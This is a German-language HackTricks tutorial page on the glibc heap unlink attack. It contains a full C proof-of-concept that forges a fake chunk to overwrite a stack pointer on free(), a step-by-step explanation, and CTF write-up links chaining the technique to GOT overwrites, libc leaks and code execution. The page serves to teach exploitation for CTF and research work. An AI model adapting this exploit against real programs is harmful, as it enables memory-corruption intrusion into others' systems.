Unlink Attack
Reading time: 7 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Grundinformationen
Als dieser Angriff entdeckt wurde, erlaubte er hauptsächlich ein WWW (Write What Where), jedoch wurden einige Überprüfungen hinzugefügt, die die neue Version des Angriffs interessanter, komplexer und nutzlos machten.
Codebeispiel:
Code
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work
struct chunk_structure {
size_t prev_size;
size_t size;
struct chunk_structure *fd;
struct chunk_structure *bk;
char buf[10]; // padding
};
int main() {
unsigned long long *chunk1, *chunk2;
struct chunk_structure *fake_chunk, *chunk2_hdr;
char data[20];
// First grab two chunks (non fast)
chunk1 = malloc(0x8000);
chunk2 = malloc(0x8000);
printf("Stack pointer to chunk1: %p\n", &chunk1);
printf("Chunk1: %p\n", chunk1);
printf("Chunk2: %p\n", chunk2);
// Assuming attacker has control over chunk1's contents
// Overflow the heap, override chunk2's header
// First forge a fake chunk starting at chunk1
// Need to setup fd and bk pointers to pass the unlink security check
fake_chunk = (struct chunk_structure *)chunk1;
fake_chunk->size = 0x8000;
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
// Next modify the header of chunk2 to pass all security checks
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
chunk2_hdr->prev_size = 0x8000; // chunk1's data region size
chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
// This results in chunk1 pointer pointing to chunk1 - 3
// i.e. chunk1[3] now contains chunk1 itself.
// We then make chunk1 point to some victim's data
free(chunk2);
printf("Chunk1: %p\n", chunk1);
printf("Chunk1[3]: %x\n", chunk1[3]);
chunk1[3] = (unsigned long long)data;
strcpy(data, "Victim's data");
// Overwrite victim's data using chunk1
chunk1[0] = 0x002164656b636168LL;
printf("%s\n", data);
return 0;
}
- Der Angriff funktioniert nicht, wenn tcaches verwendet werden (nach 2.26)
Ziel
Dieser Angriff ermöglicht es, einen Zeiger auf einen Chunk so zu ändern, dass er 3 Adressen vor sich selbst zeigt. Wenn dieser neue Standort (Umgebung, in der sich der Zeiger befand) interessante Inhalte hat, wie andere kontrollierbare Allokationen / Stack..., ist es möglich, diese zu lesen/überschreiben, um größeren Schaden zu verursachen.
- Wenn sich dieser Zeiger im Stack befand, weil er jetzt 3 Adressen vor sich selbst zeigt und der Benutzer ihn potenziell lesen und ändern kann, wird es möglich sein, sensible Informationen aus dem Stack zu leaken oder sogar die Rücksprungadresse (vielleicht) zu ändern, ohne den Canary zu berühren.
- In CTF-Beispielen befindet sich dieser Zeiger in einem Array von Zeigern auf andere Allokationen, daher ist es möglich, ihn 3 Adressen vor zu setzen und ihn lesen und schreiben zu können, sodass die anderen Zeiger auf andere Adressen zeigen.
Da der Benutzer potenziell auch die anderen Allokationen lesen/schreiben kann, kann er Informationen leaken oder neue Adressen an beliebigen Orten (wie im GOT) überschreiben.
Anforderungen
- Etwas Kontrolle über den Speicher (z.B. Stack), um ein paar Chunks zu erstellen, die Werte für einige der Attribute geben.
- Stack-Leak, um die Zeiger des gefälschten Chunks festzulegen.
Angriff
- Es gibt ein paar Chunks (chunk1 und chunk2).
- Der Angreifer kontrolliert den Inhalt von chunk1 und die Header von chunk2.
- In chunk1 erstellt der Angreifer die Struktur eines gefälschten Chunks:
- Um Schutzmaßnahmen zu umgehen, stellt er sicher, dass das Feld
size
korrekt ist, um den Fehler:corrupted size vs. prev_size while consolidating
zu vermeiden. - und die Felder
fd
undbk
des gefälschten Chunks zeigen auf die Stelle, an der der chunk1-Zeiger mit den Offsets -3 und -2 gespeichert ist, sodassfake_chunk->fd->bk
undfake_chunk->bk->fd
auf die Position im Speicher (Stack) zeigen, an der die echte chunk1-Adresse gespeichert ist:
- Die Header von chunk2 werden geändert, um anzuzeigen, dass der vorherige Chunk nicht verwendet wird und dass die Größe die Größe des enthaltenen gefälschten Chunks ist.
- Wenn der zweite Chunk freigegeben wird, wird dieser gefälschte Chunk unlinked, was passiert:
fake_chunk->fd->bk
=fake_chunk->bk
fake_chunk->bk->fd
=fake_chunk->fd
- Zuvor wurde sichergestellt, dass
fake_chunk->fd->bk
undfake_chunk->bk->fd
auf denselben Ort zeigen (die Stelle im Stack, an derchunk1
gespeichert war, sodass es eine gültige verkettete Liste war). Da beide auf denselben Ort zeigen, wird nur der letzte (fake_chunk->bk->fd = fake_chunk->fd
) wirksam. - Dies wird den Zeiger auf chunk1 im Stack auf die Adresse (oder Bytes) überschreiben, die 3 Adressen vorher im Stack gespeichert sind.
- Daher, wenn ein Angreifer den Inhalt von chunk1 erneut kontrollieren könnte, wäre er in der Lage, im Stack zu schreiben, was es ihm potenziell ermöglicht, die Rücksprungadresse zu überschreiben, den Canary zu überspringen und die Werte und Zeiger lokaler Variablen zu ändern. Sogar die Adresse von chunk1, die im Stack gespeichert ist, auf einen anderen Ort zu ändern, wo der Angreifer, wenn er den Inhalt von chunk1 erneut kontrollieren könnte, überall schreiben könnte.
- Beachten Sie, dass dies möglich war, weil die Adressen im Stack gespeichert sind. Das Risiko und die Ausnutzung könnten davon abhängen, wo die Adressen des gefälschten Chunks gespeichert sind.
Referenzen
- https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit
- Obwohl es seltsam wäre, einen unlink-Angriff sogar in einem CTF zu finden, haben Sie hier einige Writeups, in denen dieser Angriff verwendet wurde:
- CTF-Beispiel: https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html
- In diesem Beispiel gibt es anstelle des Stacks ein Array von malloc'ed Adressen. Der unlink-Angriff wird durchgeführt, um hier einen Chunk zu allokieren, sodass die Zeiger des Arrays von malloc'ed Adressen kontrolliert werden können. Dann gibt es eine andere Funktionalität, die es ermöglicht, den Inhalt von Chunks in diesen Adressen zu ändern, was es ermöglicht, Adressen auf das GOT zu zeigen, Funktionsadressen zu ändern, um Leaks zu erhalten und RCE.
- Ein weiteres CTF-Beispiel: https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html
- Genau wie im vorherigen Beispiel gibt es ein Array von Adressen von Allokationen. Es ist möglich, einen unlink-Angriff durchzuführen, um die Adresse zur ersten Allokation auf einige Positionen vor Beginn des Arrays zu zeigen und diese Allokation an der neuen Position zu überschreiben. Daher ist es möglich, Zeiger anderer Allokationen zu überschreiben, um auf das GOT von atoi zu zeigen, es auszudrucken, um einen libc-Leak zu erhalten, und dann das atoi-GOT mit der Adresse zu einem One-Gadget zu überschreiben.
- CTF-Beispiel mit benutzerdefinierten malloc- und free-Funktionen, die eine sehr ähnliche Verwundbarkeit wie der unlink-Angriff ausnutzen: https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html
- Es gibt einen Overflow, der es ermöglicht, die FD- und BK-Zeiger von benutzerdefiniertem malloc zu kontrollieren, das (benutzerdefiniert) freigegeben wird. Darüber hinaus hat der Heap das Exec-Bit, sodass es möglich ist, eine Heap-Adresse zu leaken und eine Funktion vom GOT auf einen Heap-Chunk mit einem Shellcode zu zeigen, um ihn auszuführen.
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.